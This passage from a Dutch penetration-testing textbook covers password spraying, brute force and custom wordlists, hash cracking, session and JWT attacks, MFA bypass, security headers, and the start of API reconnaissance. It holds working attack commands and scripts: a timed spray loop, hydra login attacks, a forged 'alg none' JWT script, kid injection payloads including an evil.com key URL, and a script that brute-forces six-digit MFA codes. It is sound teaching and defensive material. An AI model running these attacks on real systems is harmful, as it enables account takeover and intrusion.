Kerbrute is de voorkeursmethode: het genereert geen mislukte login-events in de eventlog, dus het triggert geen alarmen.

Stap 3: Spray – een wachtwoord per ronde

Het gouden principe: nooit meer dan een wachtwoord per lockout window.

# crackmapexec: de standaardtool voor AD spraying
crackmapexec smb 10.0.0.1 -u users.txt -p 'Zomer2026!' \
    -d CONTOSO --continue-on-success

# Kerbrute: sneller, minder logs
kerbrute passwordspray -d CONTOSO.LOCAL --dc 10.0.0.1 \
    users.txt 'Zomer2026!'

# Spray via WinRM (als poort 5985 open is)
crackmapexec winrm 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSO

# Spray via LDAP
crackmapexec ldap 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSO

De --continue-on-success flag is belangrijk: zonder deze flag stopt crackmapexec bij de eerste hit. Met de flag gaat het door, zodat je alle accounts met hetzelfde wachtwoord vindt.

Stap 4: Wacht, en spray opnieuw

Na elke ronde wacht je op het lockout window voordat je het volgende wachtwoord probeert:

# Geautomatiseerd spray-script met wachttijd
for pw in 'Zomer2026!' 'Welkom01!' 'Contoso2026!' 'Password1!'; do
    echo "[$(date)] Spray: $pw"
    crackmapexec smb 10.0.0.1 -u users.txt -p "$pw" \
        -d CONTOSO --continue-on-success
    echo "[$(date)] Wacht 35 minuten voor volgende ronde..."
    sleep 2100  # 35 minuten
done

De wachttijd van 35 minuten is een veiligheidsmarge boven het typische lockout window van 30 minuten. Beter vijf minuten langer wachten dan honderden accounts locken.

IB – Het command passwd_spray bevat het volledige spray-protocol: lockout policy ophalen, usernames enumereren, spray-commando’s voor SMB, WinRM en LDAP, en een spray-script met ingebouwde wachttijd. De veelgebruikte seizoensgebonden wachtwoorden staan erin als startpunt. Pas ze aan naar de taal en naamgeving van de doelorganisatie.

12.3 Woordlijsten: de munitie

Een brute force-aanval is slechts zo goed als zijn woordlijst. Met een slechte lijst kun je uren draaien zonder resultaat. Met een goede lijst heb je binnen minuten een hit.

De klassieken

RockYou: De woordlijst die uit een datalek van 2009 komt en sindsdien de standaard is geworden. Ruim 14 miljoen unieke wachtwoorden, gesorteerd op frequentie. Als je een brute force start zonder na te denken, is RockYou een redelijk startpunt.

# Locatie op Kali Linux:
/usr/share/wordlists/rockyou.txt

SecLists: Een gecureerde collectie van woordlijsten voor beveiligingstesting. Bevat wachtwoorden, gebruikersnamen, URL-patronen, en meer.

# Wachtwoorden:
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Default-Credentials/

# Gebruikersnamen:
/usr/share/seclists/Usernames/Names/names.txt

Maatwerk woordlijsten met CeWL

CeWL (Custom Word List generator) scrapt een website en bouwt een woordlijst op basis van de woorden die erop staan. Dit is bijzonder effectief bij bedrijfsspecifieke wachtwoorden:

# Scrape de bedrijfswebsite, 3 niveaus diep, minimaal 5 karakters
cewl https://target-company.nl -d 3 -m 5 -w cewl_wordlist.txt

# Met e-mailadressen (handig voor gebruikersnamen)
cewl https://target-company.nl -d 3 -m 5 \
    -e --email_file emails.txt -w cewl_wordlist.txt

# Met metadata uit documenten
cewl https://target-company.nl --meta --meta_file meta.txt \
    -w cewl_wordlist.txt

Een bedrijf dat “Horizon” heet, gevestigd in Amsterdam, met een product genaamd “SkyView”, zal medewerkers hebben met wachtwoorden als “Horizon2026!”, “SkyView1!”, “Amsterdam01!”. CeWL vindt die woorden op de website, en vervolgens kunnen we ze muteren.

Patroongebaseerde lijsten met Crunch

Crunch genereert woordlijsten op basis van patronen. Als je weet hoe het wachtwoordbeleid eruitziet, kun je gerichte lijsten genereren:

# Syntax: crunch <min_lengte> <max_lengte> <charset> -o output.txt

# Bedrijfsnaam + 2 cijfers + speciaal teken
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
# Genereert: Company00!!, Company01!", Company02!#, ...

# Alle 6-cijferige pincodes
crunch 6 6 0123456789 -o pins.txt
# Genereert: 000000 t/m 999999

# Naam + 4 cijfers
crunch 8 8 -t @@@@%%%% -o names_numbers.txt
# Genereert: aaaa0000 t/m zzzz9999

Waarschuwing: crunch kan enorme lijsten genereren. crunch 8 8 aA1! genereert alle combinaties van 8 tekens uit het charset aA1! – dat zijn 4^8 = 65.536 mogelijkheden. Lijkt beheersbaar. Maar crunch 8 8 abcdefghijklmnopqrstuvwxyz genereert 26^8 = 208.827.064.576 mogelijkheden. Dat is meer dan tweehonderd miljard regels.

Wachtwoord mutatie regels

De echte kracht zit in het muteren van bestaande woorden. John the Ripper en Hashcat hebben ingebouwde regel-engines die een woord systematisch transformeren:

# John the Ripper rules
john --wordlist=base_words.txt --rules=best64 --stdout > mutated.txt
john --wordlist=base_words.txt --rules=KoreLogic --stdout > mutated.txt

# Hashcat rules
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout base_words.txt > mutated.txt

# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout base_words.txt > mutated.txt

Wat doen deze regels? Ze nemen een basiswoord en passen transformaties toe:

Invoer Regel Uitvoer
horizon Capitalize Horizon
horizon Append 123 horizon123
horizon Capitalize + append ! Horizon!
horizon Capitalize + append 2026! Horizon2026!
horizon l33tspeak h0r1z0n
horizon Reverse noziroh
horizon Duplicate horizonhorizon

De best64 regelset bevat de 64 meest effectieve transformaties. De KoreLogic regelset is uitgebreider maar langzamer. En dan is er OneRuleToRuleThemAll – een gecombineerde regelset die beweert de meest effectieve set ooit te zijn.

# De meest nuttige ingebouwde regelsets:
/usr/share/hashcat/rules/best64.rule
/usr/share/hashcat/rules/rockyou-30000.rule
/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

Het optimale recept

Combineer alle technieken voor de meest effectieve aanpak:

# 1. Scrape de bedrijfswebsite
cewl https://target-company.nl -d 3 -m 5 -w base_words.txt

# 2. Voeg seizoensgebonden patronen toe
crunch 10 12 -t Horizon%%^^ >> base_words.txt
crunch 10 12 -t Zomer%%%%^^ >> base_words.txt

# 3. Muteer alles
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout base_words.txt | sort -u > final_wordlist.txt

# 4. Gebruik de lijst
hydra -L users.txt -P final_wordlist.txt 10.0.0.5 \
    http-post-form \
    "/login:user=^USER^&pass=^PASS^:Invalid" -t 4

IB – Het command passwd_wordlist bevat het volledige recept: CeWL voor website-scraping, Crunch voor patroongebaseerde generatie, en John/Hashcat rules voor mutatie. De IB Task Runner heeft de taak gen_passwords die automatisch wachtwoordvariaties genereert naar meuk/wordlists/passwords.txt. Start deze taak vanuit het Tasks-dashboard voordat je een brute force begint.

12.4 Offline hash cracking

Wanneer je database-toegang hebt verkregen (via SQL injection, een dump, of een configuratiefout), en de wachtwoorden zijn gehasht, schakel je over naar offline cracking. Dit is ordes van grootte sneller dan online brute force.

John the Ripper

# Basis: woordlijst-aanval
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Met regels voor mutatie
john --wordlist=/usr/share/wordlists/rockyou.txt \
    --rules=best64 hashes.txt

# Resultaten bekijken
john --show hashes.txt

Hashcat

Hashcat is sneller dan John, vooral met GPU-ondersteuning. Het mode-nummer geeft het hash-type aan:

# NTLM hashes (mode 1000)
hashcat -m 1000 ntlm_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# Kerberoast TGS hashes (mode 13100)
hashcat -m 13100 tgs_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# AS-REP hashes (mode 18200)
hashcat -m 18200 asrep_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# NetNTLMv2 hashes (mode 5600)
hashcat -m 5600 netntlm_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# Met regels
hashcat -m 1000 hashes.txt \
    /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule
Hash type Hashcat mode Typische snelheid (RTX 4090)
MD5 0 ~160 miljard/s
SHA-256 1400 ~22 miljard/s
bcrypt (cost 10) 3200 ~180 duizend/s
NTLM 1000 ~300 miljard/s
NetNTLMv2 5600 ~12 miljard/s

Kijk naar die cijfers. MD5 en NTLM: honderden miljarden pogingen per seconde. Bcrypt: honderdtachtigduizend. Dat verschil – een factor van bijna twee miljoen – is het verschil tussen een veilig en een onveilig opgeslagen wachtwoord. Bcrypt is niet beter omdat het wiskundig eleganter is. Het is beter omdat het langzaam is.

12.5 Sessiemanagement: het geheugen van het web

HTTP is stateless. De server onthoudt niets tussen twee requests. Dit is een fundamentele ontwerpkeuze die het web schaalbaar maakt, maar die ook betekent dat we een kunstmatig geheugen moeten bouwen bovenop een protocol dat collectief geheugenverlies heeft.

Dat geheugen noemen we een sessie, en de sleutel tot dat geheugen noemen we een session token.

Session tokens: entropie en voorspelbaarheid

Een session token moet drie eigenschappen hebben:

  1. Voldoende entropie: Het moet onmogelijk zijn om het token te raden. Minimaal 128 bits aan randomness.
  2. Onvoorspelbaarheid: Het volgende token mag niet afleidbaar zijn uit voorgaande tokens.
  3. Uniciteit: Elk token mag maar een keer voorkomen.

Slechte session tokens die we in het wild zijn tegengekomen:

# Sequentieel
session_id=10001
session_id=10002
session_id=10003

# Timestamp-based
session_id=1708765432
session_id=1708765433

# Base64-encoded user info
session_id=YWRtaW46dHJ1ZQ==     # base64("admin:true")
session_id=dXNlcjpmYWxzZQ==     # base64("user:false")

# MD5 van username
session_id=21232f297a57a5a743894a0e4a801fc3  # md5("admin")

Elk van deze tokens is voorspelbaar of manipuleerbaar. Een sequentieel token betekent dat je de sessie van de volgende gebruiker kunt raden. Een timestamp-based token kun je berekenen als je het tijdstip van inloggen weet. Een base64-encoded token kun je decoderen en wijzigen.

Session fixation

Bij session fixation dwingt de aanvaller een bekend session token op aan het slachtoffer voordat het slachtoffer inlogt:

1. Aanvaller bezoekt de site en ontvangt session_id=ABC123
2. Aanvaller stuurt link naar slachtoffer:
   https://target.com/login?session_id=ABC123
3. Slachtoffer klikt, logt in
4. De server koppelt het bestaande session_id=ABC123 aan de ingelogde sessie
5. Aanvaller gebruikt session_id=ABC123 — is nu ingelogd als slachtoffer

De fix is simpel: genereer altijd een nieuw session token na succesvolle authenticatie. Nooit hergebruiken.

Session hijacking

Session hijacking is het stelen van een actief session token. Methoden:

De HttpOnly flag op cookies voorkomt dat JavaScript ze kan lezen, wat XSS- gebaseerde session hijacking blokkeert. De Secure flag voorkomt dat cookies over onversleutelde verbindingen worden verstuurd.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Elke sessiecookie zonder deze drie flags (HttpOnly, Secure, SameSite) is een bevinding.

12.6 JWT-aanvallen: de token die zichzelf vertrouwt

JSON Web Tokens (JWTs) zijn een populair alternatief voor server-side sessies. In plaats van een sessie-ID die verwijst naar data op de server, bevat een JWT de data zelf, ondertekend met een geheim.

Een JWT bestaat uit drie delen, gescheiden door punten:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIn0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Gedecodeerd:

// Header
{"alg": "HS256", "typ": "JWT"}

// Payload
{"user": "admin", "role": "superuser"}

// Signature
HMACSHA256(base64(header) + "." + base64(payload), secret)

De server verifieert de signature om te bevestigen dat de payload niet is gewijzigd. Maar er zijn meerdere manieren om dit te omzeilen.

Aanval 1: Algorithm None

De JWT-specificatie ondersteunt een alg: "none" optie, die de signature overslaat. Als de server dit accepteert:

// Origineel
{"alg": "HS256", "typ": "JWT"}

// Gewijzigd
{"alg": "none", "typ": "JWT"}
import base64
import json

# Header: algorithm none
header = base64.urlsafe_b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=').decode()

# Payload: maak jezelf admin
payload = base64.urlsafe_b64encode(
    json.dumps({"user": "attacker", "role": "admin"}).encode()
).rstrip(b'=').decode()

# Signature: leeg (want alg=none)
forged_jwt = f"{header}.{payload}."
print(forged_jwt)

Aanval 2: Algorithm Confusion (RS256 naar HS256)

Als de server RS256 (asymmetrisch) gebruikt maar ook HS256 (symmetrisch) accepteert, kun je de publieke sleutel (die openbaar is) gebruiken als HMAC-secret:

Normaal (RS256):
  - Server signeert met PRIVATE key
  - Server verifieert met PUBLIC key

Aanval (HS256):
  - Aanvaller signeert met de PUBLIC key als HMAC-secret
  - Server verifieert met de PUBLIC key als HMAC-secret
  - Signature klopt!

Dit werkt omdat bij HS256 dezelfde sleutel voor signen en verifieren wordt gebruikt. Als de server de publieke RSA-sleutel gebruikt voor verificatie en het algoritme wordt gewijzigd naar HS256, gebruikt de server die publieke sleutel als HMAC-secret – en de aanvaller kent die sleutel.

Aanval 3: Weak Secrets

Veel JWT-implementaties gebruiken simpele strings als HMAC-secret:

# Crack JWT secret met hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Of met jwt_tool
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Veelgebruikte zwakke secrets: secret, password, key, 12345678, de bedrijfsnaam, of de naam van het framework.

Aanval 4: KID injection

Het kid (Key ID) veld in de JWT-header vertelt de server welke sleutel hij moet gebruiken voor verificatie. Als deze waarde niet wordt gevalideerd:

// SQL Injection in kid
{"alg": "HS256", "kid": "1' UNION SELECT 'known-secret' -- ", "typ": "JWT"}

// Path traversal in kid
{"alg": "HS256", "kid": "/dev/null", "typ": "JWT"}
// Secret wordt gelezen uit /dev/null = leeg = sign met lege string

// SSRF in kid
{"alg": "HS256", "kid": "https://evil.com/key.txt", "typ": "JWT"}

IB – Voor JWT-analyse gebruik je tools als jwt_tool of jwt.io. Controleer altijd: accepteert de server alg: "none"? Is het HMAC-secret te kraken? Kan het kid-veld worden gemanipuleerd? Dit zijn de drie meest voorkomende JWT-kwetsbaarheden en ze komen vaker voor dan je zou verwachten.

12.7 Multi-factor authenticatie bypass

MFA is de gouden standaard van authenticatie. Maar “gouden standaard” betekent niet “onkwetsbaar”. Er zijn meerdere manieren om MFA te omzeilen.

Race conditions

Sommige MFA-implementaties controleren de code asynchroon. Als je meerdere requests tegelijk stuurt met verschillende codes:

import asyncio
import aiohttp

async def try_code(session, code):
    async with session.post('https://target.com/mfa/verify',
                           json={'code': code},
                           cookies={'session': 'abc123'}) as resp:
        if resp.status == 200:
            text = await resp.text()
            if 'success' in text.lower():
                print(f'Code gevonden: {code}')

async def main():
    async with aiohttp.ClientSession() as session:
        # Genereer alle mogelijke 6-cijferige codes
        tasks = [try_code(session, f'{i:06d}') for i in range(1000000)]
        # Stuur ze allemaal tegelijk (in batches)
        for batch in [tasks[i:i+100] for i in range(0, len(tasks), 100)]:
            await asyncio.gather(*batch)

asyncio.run(main())

Dit werkt als de server de rate limiting per-code in plaats van per-sessie implementeert, of als de rate limiting simpelweg ontbreekt op het MFA-endpoint.

Response manipulation

Sommige applicaties controleren MFA client-side in plaats van server-side. Intercept de response en wijzig het resultaat:

Originele response:
{"success": false, "message": "Invalid code"}

Gemanipuleerde response:
{"success": true, "message": "Valid code"}

Als de applicatie op basis van deze response beslist of je wordt doorgelaten, ben je binnen.

Backup codes en herstelmechanismen

MFA-herstelmechanismen zijn vaak de zwakste schakel:

12.8 Security headers: het schild van de server

HTTP security headers zijn de eerste verdedigingslinie. Ze kosten niets om te implementeren, voegen geen complexiteit toe aan de code, en beschermen tegen een breed scala aan aanvallen. En toch ontbreken ze op een verbijsterend percentage van de websites die we testen.

De essentials

HSTS (HTTP Strict Transport Security)

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Vertelt de browser: “Gebruik alleen HTTPS. Altijd. Geen uitzonderingen.” Voorkomt SSL-stripping aanvallen en onbedoeld HTTP-verkeer.

X-Content-Type-Options

X-Content-Type-Options: nosniff

Voorkomt dat de browser het content-type raadt (MIME-sniffing). Zonder deze header kan een browser een geupload bestand dat eruitziet als een afbeelding maar JavaScript bevat, als script uitvoeren.

X-Frame-Options

X-Frame-Options: DENY

Voorkomt dat de pagina in een iframe kan worden geladen. Beschermt tegen clickjacking (zie Hoofdstuk 11).

Content-Security-Policy

Content-Security-Policy: default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    frame-ancestors 'none';

De meest uitgebreide security header. CSP definieert welke bronnen de browser mag laden voor elk type content. Een restrictieve CSP blokkeert XSS, data- exfiltratie, en clickjacking in een keer.

Referrer-Policy

Referrer-Policy: strict-origin-when-cross-origin

Beperkt welke informatie de browser meestuurt in de Referer header. Voorkomt dat interne URL-structuren lekken naar externe sites.

Permissions-Policy

Permissions-Policy: camera=(), microphone=(), geolocation=()

Blokkeert toegang tot gevoelige browser-API’s. Voorkomt dat een XSS-payload de webcam of microfoon activeert.

Elke sessiecookie moet drie flags hebben:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
Flag Beschermt tegen Effect
Secure Network sniffing Cookie wordt alleen via HTTPS verstuurd
HttpOnly XSS-cookie-diefstal JavaScript kan het cookie niet lezen
SameSite=Lax CSRF Cookie wordt niet meegestuurd bij cross-site POST

12.9 De IB Task Runner voor brute force

Incompetent Bastard bevat een Task Runner die je brute force-aanvallen laat starten en monitoren vanuit het dashboard. De Task Runner is geimplementeerd in meuk/flask/tasks.py en gebruikt een allowlist-model: alleen voorgedefinieerde taken kunnen worden uitgevoerd.

Architectuur van de Task Runner

De Task Runner is bewust restrictief ontworpen:

# Alleen deze taken kunnen worden uitgevoerd
_TASKS = {
    "gen_passwords": {
        "label": "Generate password wordlist",
        "group": "brute",
        "cmd": ["bash", "gen_passwords.sh"],
    },
    "brute_ssh": {
        "label": "Brute force SSH",
        "group": "brute",
        "cmd": ["bash", "brute_ssh.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    "brute_rdp": {
        "label": "Brute force RDP",
        "group": "brute",
        "cmd": ["bash", "brute_rdp.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    "brute_vpn": {
        "label": "Brute force VPN",
        "group": "brute",
        "cmd": ["bash", "brute_vpn.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    # ...
}

Elk argument wordt gevalideerd met een regex-patroon:

_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")    # Alfanumeriek + _ -
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")  # IP-adressen, interfaces

Dit voorkomt command injection: een aanvaller kan geen shell-metacharacters (; | & $) injecteren via de argumenten. Bovendien draait elke taak met shell=False, wat betekent dat het commando direct wordt uitgevoerd zonder een shell als tussenlaag.

Brute force starten via het dashboard

1. Open het IB dashboard: http://127.0.0.1:5000
2. Navigeer naar Tasks
3. Selecteer de "Brute Force" groep
4. Klik op "Generate password wordlist" → Start
5. Wacht tot de woordlijst is gegenereerd
6. Klik op "Brute force SSH" (of RDP, of VPN)
7. Vul de scan naam in (bijv. "pentest-2026")
8. Klik op Start

Output monitoren via de API

De Task Runner biedt een REST API voor het opvragen van de status:

# Start een taak
curl -X POST http://127.0.0.1:5000/api/tasks/run \
    -H "Content-Type: application/json" \
    -d '{"task": "brute_ssh", "args": {"scanfile": "engagement-name"}}'

# Response:
# {"run_id": "a1b2c3d4-...", "task": "brute_ssh"}

# Controleer de status
curl http://127.0.0.1:5000/api/tasks/runs/a1b2c3d4-...

# Response bevat: status, output, return_code

De output wordt opgeslagen in een deque van maximaal 500 regels (_MAX_OUTPUT_LINES = 500). Taken hebben een maximale runtime van 600 seconden (_MAX_RUNTIME_SECONDS = 600) en worden daarna automatisch afgebroken.

IB – De Task Runner’s brute force-taken verwachten dat de scan-resultaten al bestaan (via een eerdere scan-taak). De workflow is: scan (nmap) -> search (filter op services) -> gen_passwords (woordlijst) -> brute_ssh/brute_rdp/brute_vpn. Elke stap bouwt voort op de vorige. De weak_ssh taak test specifiek op Debian weak SSH keys – een kwetsbaarheid uit 2008 die verbazingwekkend genoeg nog steeds in het wild voorkomt.

12.10 Verdediging: de complete authenticatie-checklist

Wachtwoordopslag

Methode Veilig? Reden
Plain text Nee Eendatalek = alles gelekt
MD5 Nee Te snel, rainbow tables bestaan
SHA-256 Nee Te snel, geen salt
SHA-256 + salt Matig Beter, maar nog steeds te snel
bcrypt (cost 10+) Ja Opzettelijk langzaam, ingebouwde salt
Argon2id Ja Winnaar Password Hashing Competition; memory-hard
scrypt Ja Memory-hard, CPU-hard

De juiste keuze in 2026 is Argon2id of bcrypt. Alles anders is een bevinding.

Wachtwoordbeleid

Het NIST-advies (SP 800-63B) is verhelderend:

Ja, je leest dat goed. NIST raadt af om complexiteitsregels en periodieke wijzigingen te verplichten. De reden: deze regels leiden tot voorspelbare patronen (seizoen + jaar + uitroepteken) die zwakker zijn dan een zelfgekozen, lang wachtwoord.

Rate limiting en lockout

# Voorbeeld: progressieve vertraging
DELAY_MAP = {
    3: 5,      # Na 3 pogingen: 5 seconden wachten
    5: 30,     # Na 5 pogingen: 30 seconden
    10: 300,   # Na 10 pogingen: 5 minuten
    20: 3600,  # Na 20 pogingen: 1 uur
}

Implementeer rate limiting op meerdere niveaus: - Per account - Per IP-adres - Per sessie - Globaal (als noodrem)

Multi-factor authenticatie

MFA is de enige verdediging die standhoudt als het wachtwoord is gecompromitteerd. Prioriteit:

  1. Hardware keys (YubiKey, FIDO2): beste optie, phishing-resistent
  2. Authenticator apps (TOTP): goed, maar phishable
  3. SMS/e-mail codes: beter dan niets, maar kwetsbaar voor SIM-swap/account-takeover

Laten we hier even opmerken dat we collectief al meer dan dertig jaar weten hoe wachtwoorden veilig moeten worden opgeslagen. Bcrypt bestaat sinds 1999. Dat is meer dan een kwart eeuw. In die tijd hebben we de iPhone uitgevonden, auto’s die zelf rijden, en een robot op Mars gezet. Maar wachtwoorden hashen met bcrypt – dat is blijkbaar een brug te ver voor sommige ontwikkelaars.

En dan het wachtwoordbeleid. We dwingen mensen om elke negentig dagen hun wachtwoord te wijzigen, wat resulteert in “Zomer2026!”, en vervolgens zijn we verbaasd dat iemand dat raadt. Dat is alsof je iemand dwingt om elke drie maanden een nieuw slot op zijn voordeur te zetten, maar alleen sloten verkoopt met drie mogelijke combinaties.

Het alternatief – een lang, uniek wachtwoord dat je nooit hoeft te wijzigen, opgeslagen in een password manager – is te simpel. Te elegant. Waar blijft de complexiteit? Waar blijft het lijden? Want als beveiliging niet pijnlijk is, dan voelt het niet alsof het werkt. En dat, dames en heren, is waarom we nog steeds “Welkom01!” als wachtwoord tegenkomen in Fortune 500-bedrijven.

12.11 IB Quick Reference

Topic IB Command / Taak Beschrijving
Brute force tools passwd_brute Medusa, Hydra, Crowbar, Ncrack commando’s voor SSH, RDP, HTTP, SMB, FTP
Password spraying passwd_spray AD spray protocol: lockout policy, user enum, spray met wachttijd
Woordlijst generatie passwd_wordlist CeWL, Crunch, John/Hashcat rules voor maatwerk woordlijsten
Wachtwoorden genereren Task: gen_passwords IB Task Runner taak: genereert variaties naar meuk/wordlists/passwords.txt
SSH brute force Task: brute_ssh Crowbar SSH brute force op hosts uit nmap scan
RDP brute force Task: brute_rdp Crowbar RDP brute force op hosts uit nmap scan
VPN brute force Task: brute_vpn Crowbar VPN brute force op hosts uit nmap scan
Weak SSH keys Task: weak_ssh Test Debian weak SSH keys (CVE-2008-0166)
Hash cracking passwd_brute John the Ripper en Hashcat commando’s voor offline cracking

Samenvatting

Authenticatie is het fundament van elk beveiligingssysteem. Brute force is de meest directe aanval erop – inelegant maar effectief, vooral wanneer gebruikers voorspelbare wachtwoorden kiezen. Password spraying exploiteert het feit dat in elke grote organisatie iemand het voor de hand liggende wachtwoord heeft gekozen. En woordlijsten, op maat gemaakt met website-scraping en mutatieregels, zijn het verschil tussen uren tevergeefs draaien en een hit binnen minuten.

Sessiemanagement – session tokens, cookies, JWTs – is het mechanisme waarmee we authenticatie onthouden over stateless HTTP. Zwakke tokens, ontbrekende cookie-flags, en kwetsbare JWT-implementaties ondermijnen elk sterk wachtwoordbeleid.

De verdediging is niet revolutionair: bcrypt of Argon2 voor wachtwoordopslag, MFA voor een tweede factor, rate limiting tegen brute force, en security headers als eerste verdedigingslinie. Het zijn dingen die we al jaren weten. De vraag is niet of we weten hoe we authenticatie moeten beveiligen. De vraag is waarom we het nog steeds niet doen.

In het volgende hoofdstuk brengen we alles samen: findings documenteren, CVSS 4.0 scoren, en rapporten genereren die ervoor zorgen dat al deze kwetsbaarheden daadwerkelijk worden opgelost.

API Security: REST, GraphQL en gRPC

API Security: REST, GraphQL en gRPC

De bouwstenen van het moderne web

Er was een tijd — en het voelt als gisteren, maar het is inmiddels meer dan tien jaar geleden, wat in de webontwikkeling neerkomt op het Jurrassic Park tijdperk minus de dinosaurussen maar mét dezelfde hoeveelheid chaos — dat een webapplicatie een monoliet was. Één groot PHP-bestand dat HTML genereerde, data uit de database haalde, formulieren verwerkte, en als je geluk had ook nog de juiste pagina teruggaf. De server deed alles. De browser was een passieve ontvanger, een stomme terminal die HTML kreeg opgediend alsof het een bord stamppot was bij een bedrijfskantine: je at wat je kreeg, en je klaagde niet.

Die tijd is voorbij. Het moderne web is een architectuur van losse onderdelen die met elkaar praten via API’s — Application Programming Interfaces. De frontend is een Single Page Application in React, Vue of Angular die draait in de browser van de gebruiker. De backend is een verzameling microservices die data leveren in JSON-formaat. Daartussenin zitten API gateways, load balancers, CDN’s, en een hoeveelheid middleware die je doet afvragen of iemand ooit het woord “eenvoud” heeft gehoord.

En dát is waar het interessant wordt voor ons. Want als de frontend en de backend gescheiden zijn, dan is de API het scharnierpunt. De API verwerkt de data. De API handhaaft de authenticatie. De API bevat de bedrijfslogica die je wilt testen. De frontend is het decor; de API is het toneel. En als pentester sta je achter het gordijn, met een Burp Suite proxy als verrekijker, en je kijkt naar alles wat het publiek niet mag zien.

Dit hoofdstuk gaat over het testen van API’s. Niet het soort testen waarbij je een paar endpoints bezoekt en kijkt of je een 200 terugkrijgt — dat is monitoring, geen pentesting. Nee, we gaan kijken naar autorisatie die faalt zodra je een ID wijzigt, naar authenticatie die vertrouwt op tokens die je kunt vervalsen, naar GraphQL-query’s die het hele datamodel onthullen, en naar gRPC-services die ervan uitgaan dat alleen de cliënt-applicatie ze aanroept.

REST: de taal van het web

Wat REST is (en niet is)

REST — Representational State Transfer — is geen protocol. Het is geen standaard. Het is een architectuurstijl, bedacht door Roy Fielding in zijn proefschrift uit 2000, en vervolgens door de rest van de wereld geïnterpreteerd met de nauwkeurigheid waarmee een kind een tekening van Picasso na-aapt. Fielding beschreef een elegant stelsel van constraints: stateless communicatie, uniforme interfaces, een geïdentificeerd resource-model. Wat de industrie ervan maakte was “stuur JSON over HTTP en noem het REST.”

En eerlijk gezegd werkt dat verbazend goed. De meeste API’s die je tegenkomt volgen een herkenbaar patroon:

GET    /api/v1/users          # Lijst van gebruikers
GET    /api/v1/users/42        # Specifieke gebruiker
POST   /api/v1/users           # Nieuwe gebruiker aanmaken
PUT    /api/v1/users/42        # Gebruiker bijwerken
DELETE /api/v1/users/42        # Gebruiker verwijderen

Dat is de theorie. De praktijk is interessanter. In de praktijk heb je API’s die DELETE-requests versturen via POST met een _method=DELETE parameter omdat iemand ooit hoorde dat sommige proxies DELETE niet doorlaten. Je hebt API’s die paginering implementeren via een Link header, en API’s die het doen via ?page=2&per_page=50, en API’s die het helemaal niet doen waardoor je 47.000 records in één response terugkrijgt en je laptop even stilstaat om na te denken over zijn leveneskeuzes.

API verkenning

Voordat je kunt testen, moet je weten wat er te testen valt. En dat is bij API’s tegelijkertijd makkelijker en moeilijker dan bij gewone webapplicaties. Makkelijker, omdat veel API’s zichzelf documenteren. Moeilijker, omdat de endpoints die niet gedocumenteerd zijn vaak de meest interessante zijn.

OpenAPI / Swagger documentatie

De eerste stap is altijd: kijk of er een OpenAPI (voorheen Swagger) specificatie beschikbaar is. Dit is een JSON- of YAML-bestand dat elk endpoint, elke parameter, elk request- en responsmodel beschrijft. Het is alsof de verdediging je een plattegrond van het kasteel geeft met een vriendelijk briefje erbij: “Hier, veel plezier.”

# Standaard locaties voor OpenAPI specs
curl -s https://target.com/swagger.json | head -20
curl -s https://target.com/api/swagger.json
curl -s https://target.com/api-docs
curl -s https://target.com/v1/api-docs
curl -s https://target.com/.well-known/openapi.json
curl -s https://target.com/openapi.yaml

# Swagger UI (interactieve documentatie)
# Browser: https://target.com/swagger-ui/
# Browser: https://target.com/api/docs

Als je een Swagger-spec vindt, heb je goud in handen. Je kent nu elk endpoint, welke HTTP-methoden het accepteert, welke parameters het verwacht, en welke response-codes het kan teruggeven. Import het in Postman of Burp Suite en je hebt een complete testharness.

Endpoint discovery zonder documentatie

Maar wat als er géén documentatie is? Dan ga je op zoek. En die zoektocht begint op drie plekken: de JavaScript-broncode, het netwerkverkeer, en wordlist-based fuzzing.

# Stap 1: JavaScript analyseren
# Download alle JS-bestanden en zoek naar API-paden
curl -s https://target.com/ | grep -oP 'src="[^"]*\.js"' | while read src; do
  url=$(echo $src | grep -oP '"[^"]*"' | tr -d '"')
  curl -s "https://target.com$url" | grep -oP '["'"'"'](/api/[^"'"'"']*)['"'"'"]'
done

# Stap 2: Burp Suite passief scannen
# Zet Burp als proxy, gebruik de applicatie normaal,
# en bekijk daarna de sitemap voor alle API-calls

# Stap 3: Endpoint fuzzing
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,204,301,302,401,403
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc all -fc 404

# Stap 4: API versie-enumeratie
# Als /api/v2/ bestaat, bestaat /api/v1/ misschien ook nog
